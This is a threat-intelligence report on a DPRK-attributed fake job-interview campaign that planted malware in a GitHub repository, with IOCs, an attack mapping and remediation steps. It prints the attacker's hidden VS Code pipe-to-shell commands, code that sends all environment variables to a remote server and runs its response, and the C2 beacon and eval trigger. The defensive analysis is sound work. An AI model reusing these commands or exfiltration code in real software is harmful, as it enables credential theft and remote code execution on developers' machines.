The face was changed, yet the hand was known.
Executive Summary
A threat actor operating under the identity DLabs Hungary conducted a targeted recruitment campaign against a developer, using a fabricated CTO/team lead opportunity to deliver a malicious GitHub repository. The repository was shared during a live interview call - access was granted just long enough for the target to clone it - and the malware activated automatically the moment the folder was opened in Visual Studio Code.
The attack employed two parallel execution paths embedded in the repository: a VSCode workspace task that fired on folderOpen and fetched a remote shell script, and a poisoned package.json prepare hook that triggered a Node.js server exfiltrating the victim’s full environment variables on npm install. Both paths ultimately delivered the same obfuscated JavaScript beacon, which phones home to a Hetzner-hosted C2 every five seconds, dumps system metadata and all environment variables, and awaits a JavaScript payload for remote code execution via eval().
File-level hash analysis establishes direct artifact links to TP-2026-009 and to three earlier campaigns in this series. Eight server-side files - the complete Node.js attack chain - are byte-for-byte identical to TP-2026-009 (Dravion-Core, 2026-04-13). The .env.local credential harvesting template matches TP-2026-002, TP-2026-004, and TP-2026-009. The delivery package.json matches TP-2026-001, TP-2026-004, and TP-2026-009. The C2 at 88.99.241[.]111:1224 was confirmed active in TP-2026-009 on 2026-04-03 and remains active at the time of this investigation - thirteen days of continuous operation. The operator has again rotated the lure identity and Vercel delivery domains while reusing the entire malware toolkit without modification.
The targeting profile - Web3 developer, senior role, live technical interview, repository as task - is consistent with the Contagious Interview cluster, attributed with low-to-medium confidence to DPRK-linked actors. Based on the cross-campaign artifact chain documented here, and the persistence of the okada0209 / lovelysong0209+2@gmail.com development persona across multiple related repositories, attribution confidence is assessed at Medium-High in this report.
Attack Overview
Initial Contact
The target was approached on LinkedIn with a CTO/team lead opportunity at a company presenting as DLabs Hungary, a purported Web3/blockchain startup. The campaign follows an established playbook: a credible job offer, a Calendly-scheduled interview, and a Figma design prototype shared during the call to establish legitimacy.
The email address used for scheduling was petermolnar813@gmail.com. The GitHub repository invitation was sent from the account @CodeBlock73, granting access to DLabsHungary-Hub2/DLabs-Platform-MVP2. The private repository was framed as an existing platform codebase the candidate would be leading - framing that makes cloning and running the code feel like a natural part of the interview process.
Repository access was revoked immediately after the call. By the time the target would think to revisit the code, the lure was gone.
Kill Chain
Both execution paths originate from .vscode/tasks.json and fire simultaneously on folder open when VS Code automatic task execution is enabled.
Path 1 - env task, pipe-to-shell via Vercel
- VS Code fires the
envtask silently on folder open (runOn: folderOpen). Terminal closes immediately (close: true), leaving no visible trace. - Task executes an OS-specific pipe-to-shell command against
vscode-settings-tasks-j227.vercel.app/api/settings/linux. The delivery URL is pushed approximately 200 characters off-screen by horizontal whitespace in the raw file. - Stage 2 loader prints
Authenticated(misdirection), downloads Stage 3 bootstrap vianohup. - Stage 3 (
bootstraplinux) installs portable Node.js if absent, fingerprints the victim workspace, downloadsenv-setup.jsandpackage.jsonto~/.vscode/, runsnpm install, executes Stage 5 beacon.
Path 2 - install-root-modules task, npm prepare hook
- VS Code fires
install-root-modulessilently in parallel with Path 1. - Silent
npm install --silent --no-progresstriggerspreparehook:node server/server.js. server.jscallsloadEnv(), merging.envand.env.localintoprocess.env.AUTH_API- a base64-encoded Vercel C2 URL - is now inprocess.env.server.jscallsconfigureRoutes(app).routes/index.jsexecutesrequire('./api/auth'), loadingroutes/api/auth.jsat module load - before any HTTP request or visible output.validateApiKey()fires at module load, POSTing fullprocess.envto the Vercel IP-check gate withx-app-request: ip-checkcampaign fingerprint.- C2 response body executed via
new Function("require", response.data)(require)- Stage 5 beacon delivered in-memory with full Node.js module access.
Path 2 remains fully functional as a standalone fallback when VS Code automatic task execution is disabled: any manual npm command (npm install, npm start, npm run build, npm test, npm run eject) triggers the same chain independently.
Technical Analysis
.vscode/tasks.json - Dual Auto-Execution Origin
SHA256: a476338fefba0aea173d135851cef7d2efd96be87dc7abfb5880aaa03a3894ef
Both tasks share runOptions.runOn: "folderOpen" and suppressed presentation options (reveal: silent, echo: false, panel: new). They fire in parallel on the same folder open event.
Task 1: env - Path 1 pipe-to-shell delivery
{
"label": "env",
"linux": { "command": "wget -qO- 'https://vscode-settings-tasks-j227.vercel.app/api/settings/linux' | sh" },
"osx": { "command": "curl -L 'https://vscode-settings-tasks-j227.vercel.app/api/settings/mac' | bash" },
"windows": { "command": "curl --ssl-no-revoke -L https://vscode-settings-tasks-j227.vercel.app/api/settings/windows | cmd" },
"runOptions": { "runOn": "folderOpen" },
"presentation": { "reveal": "silent", "echo": false, "close": true }
}
Each platform key contains approximately 200 characters of horizontal whitespace before the command string, pushing the delivery URL entirely off-screen in the default VS Code editor viewport - a technique consistently observed across the Contagious Interview cluster. The close: true option causes the terminal to close immediately, leaving no visible trace of execution. The task label "env" and URL path structure (/api/settings/{mac,linux,windows,bootstraplinux,env,package}) are consistent across all prior campaigns - infrastructure rotated, routes did not.
Task 2: install-root-modules - Path 2 auto-trigger
{
"label": "install-root-modules",
"type": "shell",
"command": "npm install --silent --no-progress",
"runOptions": { "runOn": "folderOpen" },
"presentation": { "reveal": "silent", "echo": false }
}
Unlike the env task, this does not set close: true - on an instrumented machine, the silent terminal panel remains present as an observable artifact.
package.json - Path 2 Entry Points
SHA256: 2f65e39dcbcb028da4bf4da43f3a1db7e5f9fff2dfd57ad1a5abd85d7950f365 (matches TP-2026-001 Softstack-Platform-MVP2, TP-2026-009)
"scripts": {
"prepare": "node server/server.js",
"start": "node server/server.js | react-scripts --openssl-legacy-provider start",
"build": "node server/server.js | react-scripts --openssl-legacy-provider build",
"test": "node server/server.js | react-scripts --openssl-legacy-provider test",
"eject": "node server/server.js | react-scripts --openssl-legacy-provider eject"
}
Five independent npm entry points all route through node server/server.js. Every standard developer workflow command triggers Path 2 independently of VS Code.
server/server.js - Clean Launcher
SHA256: a9db9559a1e97762d0e72715301329bc325d08e239a29e1382e99033ede986de (matches TP-2026-009)
A legitimate Express application. It executes two key operations at startup: require("./config/loadEnv")() and configureRoutes(app). The malware piggybacks on the legitimate application startup sequence. server.js itself contains no malicious logic, providing plausible deniability during casual code review.
server/config/loadEnv.js - Environment Merger
SHA256: c08356a5a4ebbd8804c9acbe2e0c1b986d867b057d2e827ae663e4aec2204ed2 (matches TP-2026-009)
function loadEnv() {
dotenv.config();
dotenv.config({ path: ".env.local" });
}
Merges both environment files into process.env before any route executes. Naming is visually indistinguishable from standard dotenv initialisation. Two files serve distinct roles:
.env(SHA256:dfb133f6...) containsAUTH_API, a base64-encoded Vercel C2 URL concealed among legitimate backend configuration variables.atob()decodes it only at runtime..env.local(SHA256:37eb8e11...) is the shared credential harvesting template, byte-for-byte identical across TP-2026-002, TP-2026-004, and TP-2026-009. It seedsprocess.envwith credential variable names across Web3, crypto, AWS, and SaaS stacks.
server/routes/index.js - Route Registration
SHA256: a9d8ea7c9a396d5c1f04d998f4f3e944c67ec4c88524a05c613bcb1ca0a7eacf (matches TP-2026-009)
const configureRoutes = (app) => {
app.use('/api/auth', require('./api/auth'));
app.use('/api/users', require('./api/users'));
app.use('/api/chips', require('./api/chips'));
app.use('/', (req, res) => { res.status(200).send('GGLab API Documents'); });
};
routes/index.js is itself clean. Its role in the attack chain is that require('./api/auth') causes Node.js to evaluate server/routes/api/auth.js at module load - before any HTTP request arrives, before any route handler is invoked, and before any output is visible to the victim.
server/routes/api/auth.js - Primary Malware File
SHA256: 28e73ce85db813ba0839ee077428eaa121037e3a1ec8a13b1171e68cc2a0accd (matches TP-2026-009)
validateApiKey() is called at module load - not inside a route handler:
const { getCurrentUser, login, setApiKey, verify } = require('../../controllers/auth');
const verified = validateApiKey(); // fires at require() time, before any HTTP request
async function validateApiKey() {
verify(setApiKey(process.env.AUTH_API))
.then((response) => {
const executor = new Function("require", response.data);
executor(require);
console.log("API Key verified successfully."); // social engineering cover
return true;
})
.catch((err) => {
console.log("API Key verification failed:", err);
return false;
});
}
validateApiKey() executes the full attack sequence: decodes the base64 C2 URL, POSTs the full process.env, and executes the response via new Function(). The console.log("API Key verified successfully.") output provides social engineering cover, appearing as a routine validation step in any terminal output the victim might observe. The new Function("require", response.data)(require) delivery primitive is consistent across TP-2026-001, TP-2026-002, TP-2026-004, and TP-2026-009.
server/controllers/auth.js - Utility Exports
SHA256: cc9e443872d99b07e4bf5f6baa6144fbe0fd24bc610e58340d9b8c755df17fce (matches TP-2026-009)
const setApiKey = (s) => atob(s); // base64 decode AUTH_API at runtime
const verify = (api) =>
axios.post(api, { ...process.env }, {
headers: { "x-app-request": "ip-check" } // campaign fingerprint header
});
verify spreads the entire process.env object as the request body. The x-app-request: ip-check campaign fingerprint header is present across TP-2026-001, TP-2026-004, TP-2026-009, and TP-2026-010.
The login() function contains const isMatch = true hardcoded - all password verification is bypassed. The authentication logic is entirely decorative, providing plausible cover during code review.
Stage 1b: Vercel IP-Check Gate (ip-checking-notification-j2.vercel.app)
The AUTH_API value decodes to https://ip-checking-notification-j2.vercel.app/api. This endpoint acts as an IP/VPN probe gate before delivering the payload. A request with an empty body returns:
{
"status": "OK",
"message": "Public API response",
"client": {
"ipAddress": "...",
"vpnDetected": false,
"note": "Connection appears normal. For best performance, avoid VPNs or anonymized routes."
}
}
The note advising against VPNs is deliberate social engineering - the operator wants the victim’s real IP before delivering Stage 5. When the POST body includes a populated process.env, the endpoint returns the obfuscated Stage 5 beacon for execution via new Function().
Stage 3: Persistence Installer (bootstraplinux)
bootstraplinux is an installer and persistence script. In sequence:
- Ensures Node.js is available - downloads portable v20 from
nodejs.orgto~/.vscode/if absent, broadening the victim pool to machines without an existing Node environment. - Writes the VSCode workspace folder name to
~/.vscode/<foldername>.txt- a victim source-tracking artifact that identifies which lure repository triggered the compromise. - Downloads
env-setup.jsandpackage.jsonto~/.vscode/, runsnpm install(axios,request), executesenv-setup.jsas Stage 5.
All artifacts land in ~/.vscode/ - present on any VS Code user’s machine and not commonly monitored as a persistence location. The package.json start script references node env.npl; the .npl extension is non-standard, evading file-type based detections.
Stage 5: Obfuscated Node.js Beacon (env-setup.js / env.npl)
SHA256 (env-setup.js / Path 1): 589d2ab871a7e52caf1f3370a5bd8eae69575e8914fb61a59901661577be4359
SHA256 (in-memory / Path 2): ee9f19e514b55490e942fdb54d38a3b7f7364427a3b5e0ab45bf3c3df8cc752f
The payload delivered by both paths is functionally identical - the same obfuscated beacon served from two delivery routes. The payload uses array-based string obfuscation with a custom base64 decoder, double encoding on core strings, and active anti-debug countermeasures: two regex-based checks detect debugger attachment and function serialisation inspection; on trigger, the payload enters while(true){} preventing analysis without process termination.
Host profiling (sent in every beacon):
hostname: os.hostname()
macs: networkInterfaces filtered for non-loopback MACs
(family=IPv4, internal=false, mac≠00:00:00:00:00:00)
os: os.type() + os.release() + '(' + os.platform() + ')'
MAC filtering explicitly removes the loopback address, ensuring only real physical interfaces are reported for persistent victim identification across sessions.
Beacon (every 5 seconds via setInterval(..., 0x1388)):
GET http://88.99.241[.]111:1224/api/checkStatus
?sysInfo=JSON.stringify(hostProfile)
&processInfo=JSON.stringify(process.env)
&tid=bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc=
&sysId=<victim_id>
The tid parameter decodes to "now it time to get everything" - identical to TP-2026-009. sysId starts at 0 and is replaced with a C2-assigned persistent identifier after first contact, enabling per-victim tracking across sessions.
RCE activation: if ("error" === response.status) { eval(response.message) }. The activation keyword is "error" - not "ok" or "success". This is deliberate evasion: the same string constant 0x181 is used for console.error() throughout the payload, making the eval branch appear to be an error handler to static analysis tools and human reviewers alike. At time of capture the C2 returned {"status":"ok","message":"server connected"} - lowercase "ok" does not match "error", confirming standby mode. The operator activates victims by sending {"status":"error","message":"<arbitrary JS>","sysId":"<victim_id>"}.
The C2 server identifies itself as Express (X-Powered-By: Express) and communicates over plain HTTP - all beacon traffic, including full environment variable dumps, is transmitted in cleartext.
Environment Collection and Exposure
Two independent mechanisms capture the victim’s runtime environment:
routes/api/auth.jsvalidateApiKey()- POSTs{...process.env}to the Vercel IP-check gate at module load, before any output is visible.- Stage 5 beacon - transmits
processInfo=JSON.stringify(process.env)alongside host profile to88.99.241[.]111:1224every 5 seconds.
The dummy placeholder values in the committed .env and .env.local files are largely irrelevant to the actual yield. A developer evaluating the repository is unlikely to replace demo API keys. The real value of {...process.env} is the victim’s live shell session environment: AWS CLI credentials, tokens set by other active tools, credentials exported by shell profiles, and any other variables already present. The .env template defines the operator’s target credential profile; the actual yield depends entirely on what the victim’s environment contains.
Beyond the initial dump, Stage 5 executes arbitrary code returned by the C2 via eval() - giving the operator full Node.js access to the victim machine for any targeted follow-on collection not captured in the initial sweep.
Cross-Campaign Artifact Links
Eight server-side files are byte-for-byte identical to TP-2026-009 (Dravion-Core, 2026-04-13). Three additionally match earlier campaigns. The operator has rotated the lure identity and Vercel delivery domains without modifying the malware toolkit.
| Artifact | SHA256 | Also confirmed in |
|---|---|---|
.env.local | 37eb8e11...b27ead | TP-2026-002, TP-2026-004, TP-2026-009 - shared credential template across four campaigns |
package.json (lure root) | 2f65e39d...0f365 | TP-2026-001 (Softstack-Platform-MVP2), TP-2026-009 |
package.json (delivery) | 6effad9f...ccb3 | TP-2026-001, TP-2026-004, TP-2026-009 - reused across every domain rotation |
server/routes/index.js | a9d8ea7c...264b | TP-2026-009 |
server/routes/api/auth.js | 28e73ce8...accd | TP-2026-009 |
server/controllers/auth.js | cc9e4438...7fce | TP-2026-009 |
server/server.js | a9db9559...6de | TP-2026-009 |
server/config/loadEnv.js | c08356a5...4ed2 | TP-2026-009 |
Shared infrastructure and campaign indicators across the series:
| Indicator | Campaigns |
|---|---|
88.99.241[.]111:1224 | TP-2026-009 (confirmed 2026-04-03), TP-2026-010 (confirmed 2026-04-16) - 13+ days continuous |
x-app-request: ip-check | TP-2026-001, TP-2026-004, TP-2026-009, TP-2026-010 |
"now it time to get everything" (campaign tag) | TP-2026-009, TP-2026-010 |
/api/settings/{linux,mac,windows,bootstraplinux,env,package} | TP-2026-001, TP-2026-004, TP-2026-009, TP-2026-010 - routes unchanged across all domain rotations |
new Function("require", response.data)(require) | TP-2026-001, TP-2026-002, TP-2026-004, TP-2026-009, TP-2026-010 |
AUTH_API base64 URL in .env | TP-2026-004, TP-2026-009, TP-2026-010 |
Hub3 / Hub4 Repository Continuity
Follow-on repository review identified subsequent churn in the DLabsHungary naming pattern. The earlier DLabsHungary-Hub3/DLabs-Platform-MVP location referenced during the initial investigation is no longer accessible. A currently public repository, DLabsHungary-Hub4/-DLabs-Platform-MVP2, preserves the same overall project layout (.vscode, server, .env, .env.local, package.json) and continues the same operator-facing naming scheme.
The latest visible commits in the public Hub4 repository remain Update auth.js and Update server.js, both authored by CodeBlock150 on 2026-04-16. Based on archived evidence preserved during collection, no new commits or code-level changes were identified beyond organisation and repository naming churn. At present, this is better assessed as repository relocation or lure-identity maintenance than as a distinct new malware variant.
This continuity still has intelligence value. It extends the observable DLabsHungary repository chain, preserves the same weaponisation persona (CodeBlock150), and reinforces the pattern of rotating lure-facing identities while maintaining stable development-side anchors. However, absent new code, infrastructure, or behavioural differences, it should not be presented as a separate campaign stage.
MITRE ATT&CK Mapping
| Technique ID | Name | Tactic | Notes |
|---|---|---|---|
| T1566.003 | Spearphishing via Service | Initial Access | LinkedIn recruitment lure; Calendly scheduling |
| T1204.002 | User Execution: Malicious File | Execution | Opening repo in VSCode triggers tasks automatically |
| T1059.007 | JavaScript | Execution | new Function() delivery; obfuscated Stage 5 beacon; eval() RCE |
| T1059.004 | Unix Shell | Execution | Stage 2 and Stage 3 shell scripts piped directly to sh |
| T1020 | Automated Exfiltration | Exfiltration | Full process.env dump sent every 5 seconds |
| T1119 | Automated Collection | Collection | {...process.env} sweep captures entire runtime environment in one operation |
| T1552.001 | Credentials in Files | Credential Access | .env and .env.local loaded into process.env before exfil |
| T1027 | Obfuscated Files or Information | Defense Evasion | Array-based string obfuscation; custom base64 decoder; anti-debug traps |
| T1140 | Deobfuscate/Decode Files or Information | Defense Evasion | atob(process.env.AUTH_API) decodes Vercel URL; Buffer decode reveals Hetzner C2 URL within payload |
| T1036.008 | Masquerade File Type | Defense Evasion | .npl extension on persistent JS implant |
| T1036.005 | Match Legitimate Name or Location | Defense Evasion | loadEnv.js naming; AUTH_API key; install-root-modules label; ~/.vscode/ persistence dir |
| T1071.001 | Web Protocols | C2 | Plain HTTP beacon to 88.99.241[.]111:1224 every 5s |
| T1041 | Exfiltration Over C2 Channel | Exfiltration | process.env transmitted via both Vercel POST and Hetzner GET beacon |
| T1033 | System Owner/User Discovery | Discovery | Hostname collected and transmitted in every beacon |
| T1016 | System Network Configuration Discovery | Discovery | Non-loopback MAC addresses enumerated for persistent victim identification |
| T1082 | System Information Discovery | Discovery | OS type, release, and platform collected in host profile |
Infrastructure Analysis
Network Infrastructure
| Indicator | Type | Notes |
|---|---|---|
88.99.241[.]111 | IPv4 | C2 server, TCP/1224, plain HTTP; also in TP-2026-009 |
static.111.241.99.88.clients.your-server.de | PTR | Hetzner reverse DNS - no custom PTR configured |
vscode-settings-tasks-j227.vercel.app | Domain | Stage 1/3/4/5 payload delivery |
ip-checking-notification-j2.vercel.app | Domain | Stage 1b IP-check gate and env exfil |
64.29.17.131, 216.198.79.131 | IPv4 | Vercel edge - vscode-settings-tasks domain |
64.29.17.3, 216.198.79.3 | IPv4 | Vercel edge - ip-checking-notification domain |
C2 hosting: Hetzner Online GmbH, Datacenter fsn1-dc1 (Falkenstein, Germany), ASN AS24940. The C2 has been confirmed active across a 13-day window spanning two separate investigations.
C2 server fingerprint:
1224/tcp open http Node.js Express framework ← beacon endpoint
5985/tcp open http Microsoft HTTPAPI httpd 2.0 ← WinRM (operator admin channel)
5357/tcp open http Microsoft HTTPAPI httpd 2.0 ← WSDAPI (Windows Network Discovery)
OS: Windows (cpe:/o:microsoft:windows)
The server runs Windows - unusual for a Hetzner VPS where Linux predominates, and a distinctive fingerprint for infrastructure pivoting. Port 5985 is WinRM over plain HTTP, the operator’s likely administration channel. Port 5357 (WSDAPI) is a local network discovery service with no legitimate external exposure - consistent with a default Windows firewall configuration and minimal server hardening.
Infrastructure architecture: The operator separates concerns across two layers. A Vercel front-end (trusted domain, HTTPS, TLSv1.3) handles payload staging and initial credential collection; a raw-IP Hetzner C2 (plain HTTP, non-standard port 1224) handles beacon traffic and RCE delivery. This split makes the initial compromise difficult to detect via network monitoring - Vercel traffic blends with normal developer tooling. The Vercel domains rotate between campaigns; the Hetzner C2 does not.
Indicators of Compromise
All indicators assessed High confidence unless noted.
Network Indicators
| Indicator | Type | Confidence |
|---|---|---|
88.99.241[.]111 | IPv4 (C2) | High |
88.99.241[.]111:1224 | IP:Port (beacon) | High |
http://88.99.241[.]111:1224/api/checkStatus | URL | High |
vscode-settings-tasks-j227.vercel.app | Domain | High |
ip-checking-notification-j2.vercel.app | Domain | High |
x-app-request: ip-check | HTTP header (campaign fingerprint) | High |
tid=bm93IGl0IHRpbWUgdG8gZ2V0IGV2ZXJ5dGhpbmc= | URI parameter | High |
/api/checkStatus | C2 URI path | High |
File Indicators
| SHA256 | Filename | Notes |
|---|---|---|
a476338fefba0aea173d135851cef7d2efd96be87dc7abfb5880aaa03a3894ef | .vscode/tasks.json | Dual folderOpen tasks; ~200-char whitespace URL obfuscation |
2f65e39dcbcb028da4bf4da43f3a1db7e5f9fff2dfd57ad1a5abd85d7950f365 | package.json | prepare hook trigger; matches TP-2026-001, TP-2026-009 |
a9db9559a1e97762d0e72715301329bc325d08e239a29e1382e99033ede986de | server/server.js | Clean launcher; matches TP-2026-009 |
c08356a5a4ebbd8804c9acbe2e0c1b986d867b057d2e827ae663e4aec2204ed2 | server/config/loadEnv.js | Env merger; matches TP-2026-009 |
a9d8ea7c9a396d5c1f04d998f4f3e944c67ec4c88524a05c613bcb1ca0a7eacf | server/routes/index.js | require(’./api/auth’) triggers malicious load; matches TP-2026-009 |
28e73ce85db813ba0839ee077428eaa121037e3a1ec8a13b1171e68cc2a0accd | server/routes/api/auth.js | validateApiKey() RCE at require-time; matches TP-2026-009 |
cc9e443872d99b07e4bf5f6baa6144fbe0fd24bc610e58340d9b8c755df17fce | server/controllers/auth.js | setApiKey + verify exfil; matches TP-2026-009 |
dfb133f61f61a878cffd0289c7d4a020cdf3bd65d2ec3692ad20799014278772 | .env | AUTH_API base64 C2 URL + credential categories |
37eb8e11b40527de0881189064c657fe1623d6b2c8ad16fc8136782e89367ead | .env.local | Shared credential template; matches TP-2026-002, TP-2026-004, TP-2026-009 |
ee9f19e514b55490e942fdb54d38a3b7f7364427a3b5e0ab45bf3c3df8cc752f | Stage 5 beacon (Path 2, in-memory) | Obfuscated JS |
589d2ab871a7e52caf1f3370a5bd8eae69575e8914fb61a59901661577be4359 | env-setup.js / Stage 5 (Path 1, on-disk) | Obfuscated JS - identical logic to Path 2 |
26d88760f0c8c42b3c3b44aad01d10ef68d6476dd2bb7b6a8db1fada06b87a0f | vscode-bootstrap.sh (Stage 3) | Persistence installer |
6effad9fdee81589b37c60bbbae20483200bf53bee3e3c107b1aa47d2ac4ccb3 | package.json (delivery, /api/settings/package) | Implant deps; matches TP-2026-001, TP-2026-004, TP-2026-009 |
Repository and Identity Indicators
| Indicator | Type | Notes |
|---|---|---|
github.com/DLabsHungary-Hub2/DLabs-Platform-MVP2 | GitHub repo | Lure repository - access revoked post-call |
DLabsHungary-Hub2 | GitHub org | Lure org for TP-2026-010; sequential with Hub3 |
@CodeBlock73 | GitHub account | Sent repository collaboration invite |
petermolnar813@gmail.com | Used for Calendly scheduling | |
https://www.figma.com/design/EIba2k23wq0irUWBDqlKDu/Web3-Platform | Figma | Legitimacy lure shared during call |
github.com/DLabsHungary-Hub3/DLabs-Platform-MVP | GitHub repo | Next campaign repo - 2 commits ahead of Hub2; auth.js and server.js updated 2026-04-16T08:09 UTC |
DLabsHungary-Hub3 | GitHub org | Sequential: Hub2 → Hub3 |
CodeBlock150 | GitHub account | Hub3 weaponisation persona - sequential: CodeBlock73 (Hub2) → CodeBlock150 (Hub3) → CodeBlock150 (Hub4) |
petermolnar286@gmail.com | Hub3 operator email - sequential: petermolnar813 (Hub2) → petermolnar286 (Hub3) → petermolnar286 (Hub4) | |
okada0209 | GitHub account | Development persona - shared across TP-2026-009, TP-2026-010, Hub3 unchanged |
lovelysong0209+2@gmail.com | Development persona email - shared across TP-2026-009, TP-2026-010, Hub3, Hub4 | |
167746537+DeAngDai354@users.noreply.github.com | Initial commit identity - shared with TP-2026-009 (Dravion-Core) and Hub3/4 | |
github.com/DLabsHungary-Hub4/-DLabs-Platform-MVP2 | GitHub repo | Public follow-on repository observed after the earlier Hub3 location became unavailable; currently supports continuity assessment rather than a distinct new campaign |
DLabsHungary-Hub4 | GitHub org | Follow-on DLabsHungary organisation in the observed naming chain |
Code Pattern Indicators
| Pattern | Notes |
|---|---|
Two runOn: folderOpen tasks in .vscode/tasks.json | Dual auto-execution on folder open; fire in parallel |
env task with close: true | Terminal closes immediately - no visible trace of Path 1 |
~200-char whitespace before command string in tasks.json | URL pushed off-screen; evades casual file inspection |
"prepare": "node server/server.js" | npm lifecycle hook; triggers on any npm command |
validateApiKey() called at module load in routes/api/auth.js | Fires before any HTTP request or visible output |
const setApiKey = (s) => atob(s) | Base64 C2 URL decode - consistent across TP-2026-004, TP-2026-009, TP-2026-010 |
axios.post(api, { ...process.env }, { headers: { "x-app-request": "ip-check" } }) | Full env exfil with campaign fingerprint |
new Function("require", response.data)(require) | C2 response with full Node.js module access - consistent across TP-2026-001, TP-2026-002, TP-2026-004, TP-2026-009, TP-2026-010 |
if ("error" === status) { eval(message) } | RCE trigger - "error" masquerades as error handler; same constant used for console.error() throughout payload |
sysId session handle assigned by C2 | Durable per-victim tracking across reconnects |
*.npl executed by node | Non-standard extension evading file-type detection |
Beacon interval 5000ms (0x1388) | Every 5s - consistent across TP-2026-001, TP-2026-004, TP-2026-009, TP-2026-010 |
Persistence Artefacts on Victim Machine
| Path | Description |
|---|---|
~/.vscode/vscode-bootstrap.sh | Stage 3 installer (written by Stage 2) |
~/.vscode/env-setup.js | Stage 5 persistent beacon (written by bootstraplinux) |
~/.vscode/package.json | Implant dependencies manifest |
~/.vscode/node_modules/ | axios + request |
~/.vscode/<repo-name>.txt | Victim source-tracking file |
~/.vscode/env.npl | JS beacon with disguised extension |
~/.vscode/node-<ver>-linux-x64/ | Portable Node.js binary if not globally installed |
Attribution Assessment
Assessed confidence: Medium-High
This report links directly to TP-2026-009 via eight byte-level file matches and shared C2 infrastructure. TP-2026-009 itself linked to TP-2026-001, TP-2026-002, and TP-2026-004 via file-level artifact continuity. The cross-campaign chain now spans five reports across approximately eight weeks, with the same C2 server continuously active.
Additional repository continuity has been observed within the DLabsHungary cluster. The earlier DLabsHungary-Hub3/DLabs-Platform-MVP repository referenced during the initial investigation is no longer publicly accessible, while a public successor repository, DLabsHungary-Hub4/-DLabs-Platform-MVP2, is currently visible. The public Hub4 commit history still shows CodeBlock150 performing the latest visible auth.js and server.js updates on 2026-04-16, and the repository preserves the same broad project structure observed in the lure used in this case. On the basis of archived evidence preserved during collection, no substantive new code-level change was identified beyond organisation and repository renaming. This is therefore assessed as continuity in operator infrastructure and persona use, not as a separate malware family or clearly distinct campaign phase.
lovelysong0209+2@gmail.com is the strongest attribution anchor in this series. The development persona okada0209/lovelysong0209+2@gmail.com is listed in the GitLab Threat Intelligence report on North Korean tradecraft (2026-02-19) as a confirmed DPRK malware distribution account. This identity is present unchanged across TP-2026-009, TP-2026-010, and Hub3 - three separate lure repositories across seven months. Combined with the file-level artifact chain across five ThreatProphet reports, this constitutes the strongest attribution basis documented in this series to date. Attribution is upgraded to Medium-High on this basis.
Observed identity pattern across repositories:
| Observation | Org | Lure-facing GitHub account | Lure / contact email | Initial commit-linked identity | Recurrent commit-linked identity | Late-stage commit-linked / maintenance identity |
|---|---|---|---|---|---|---|
| TP-2026-001 | Softstack | LuckyKat1001 | brajan.intro@gmail.com | - | - | LuckyKat1001 |
| TP-2026-009 | Intraverse-Dev-Tech-Hub | - | brajanjake@gmail.com | Ivan / 167746537+DeAngDai354@users.noreply.github.com | okada0209 / lovelysong0209+2@gmail.com | Intraverse-Dev-Tech-Hub / thomas.cryptolover@gmail.com |
| TP-2026-010 | DLabsHungary-Hub2 | CodeBlock73 | petermolnar813@gmail.com | Ivan / 167746537+DeAngDai354@users.noreply.github.com | okada0209 / lovelysong0209+2@gmail.com | CodeBlock73 |
| Hub3 (archived continuity) | DLabsHungary-Hub3 | CodeBlock150 | petermolnar286@gmail.com | Ivan / 167746537+DeAngDai354@users.noreply.github.com | okada0209 / lovelysong0209+2@gmail.com | CodeBlock150 |
| Hub4 (public continuity) | DLabsHungary-Hub4 | CodeBlock150 | - | - | - | CodeBlock150 |
The identity pattern is more layered than a simple “invite account + dev persona” model. In TP-2026-009, the commit history shows at least three commit-linked identity layers: an initial commit identity (Ivan / 167746537+DeAngDai354@users.noreply.github.com), a recurrent middle layer (okada0209 / lovelysong0209+2@gmail.com), and a later repository maintenance / weaponisation layer (Intraverse-Dev-Tech-Hub / thomas.cryptolover@gmail.com). Later DLabsHungary repositories preserve the same broader pattern of rotating lure-facing identities while reusing recurrent commit-linked identities and repository structure. This is more consistent with a staged workflow or small operator team than with a single static persona.
TTP similarity and file-level artifact matches do not constitute confirmed attribution. Attribution should not be asserted beyond medium-high confidence without additional corroborating intelligence.
Relevant prior reporting:
- ThreatProphet TP-2026-009 - Dravion-Core
- ThreatProphet TP-2026-004 - BetPoker
- ThreatProphet TP-2026-002 - Japanese-Royal
- ThreatProphet TP-2026-001 - Interview Trap
- Palo Alto Unit 42 - Contagious Interview
- CISA Advisory AA24-242A
- GitLab Threat Intelligence - North Korean Tradecraft (2026-02-19)
- Microsoft Security Blog - Developer-targeting campaign (2026-02-24)
- Group-IB - Dev Popper
Remediation
If You Ran the Code
Treat this as a confirmed credential compromise regardless of how the repository was used. Opening the folder in VS Code fires both tasks simultaneously. Either path alone is sufficient for full compromise. Running any npm command outside VS Code fires Path 2 identically.
- Isolate the machine from the network immediately.
- Preserve forensic evidence before remediation: process list, shell history,
~/.vscode/contents, memory if possible. - Kill the beacon:
pkill -f env-setup.js && pkill -f vscode-bootstrap.sh - Remove persistence artifacts:
rm -rf ~/.vscode/env-setup.js ~/.vscode/vscode-bootstrap.sh ~/.vscode/package.json ~/.vscode/node_modules ~/.vscode/*.txt ~/.vscode/env.npl - Rotate all credentials immediately - assume everything in
.env,.env.local, and the live shell session is compromised: AWS IAM keys, OpenAI, Stripe, Coinbase Commerce, Alchemy, Infura, Pinata, Etherscan, Polygonscan, session signing secret. Do not reuse rotated credentials on the same machine until persistence is confirmed removed. - Audit cloud provider logs (AWS CloudTrail, Stripe dashboard, OpenAI usage) for anomalous API activity from the moment the folder was opened - credential abuse may begin within seconds.
- Check for additional persistence:
crontab -l && ls ~/Library/LaunchAgents/ 2>/dev/null - Do not rely exclusively on AV/EDR. The payload executes as JavaScript within a legitimate Node.js process and is unlikely to be flagged by signature-based tooling.
- Reimage from a known-good backup once forensic preservation is complete.
Network-Level Detection
Block and alert on all outbound connections to 88.99.241[.]111, all ports, especially TCP/1224. Monitor for outbound POST requests to *.vercel.app/api carrying x-app-request: ip-check from Node.js processes. Alert on Node.js processes executing .npl files. Create IDS rules for plain HTTP outbound from Node.js processes to non-standard high ports.
Host-Level Hardening
- Disable automatic VSCode task execution: Set
task.allowAutomaticTaskstooffin VS Code settings. This prevents bothrunOn: folderOpentasks from firing silently. Note that Path 2 still fires if the victim subsequently runs any npm command. - Audit
.vscode/tasks.jsonbefore opening any repository from an external source. Look forrunOn: folderOpenand pipe-to-shell commands. Scroll horizontally in the raw file - malicious URLs may be pushed far off-screen by whitespace padding. Absence of a visible terminal is not evidence the task did not fire. - Audit
prepare,postinstall, andpreinstallscripts inpackage.jsonbefore running npm commands in unfamiliar projects. - Run interview code in an isolated VM or container with no real credentials in
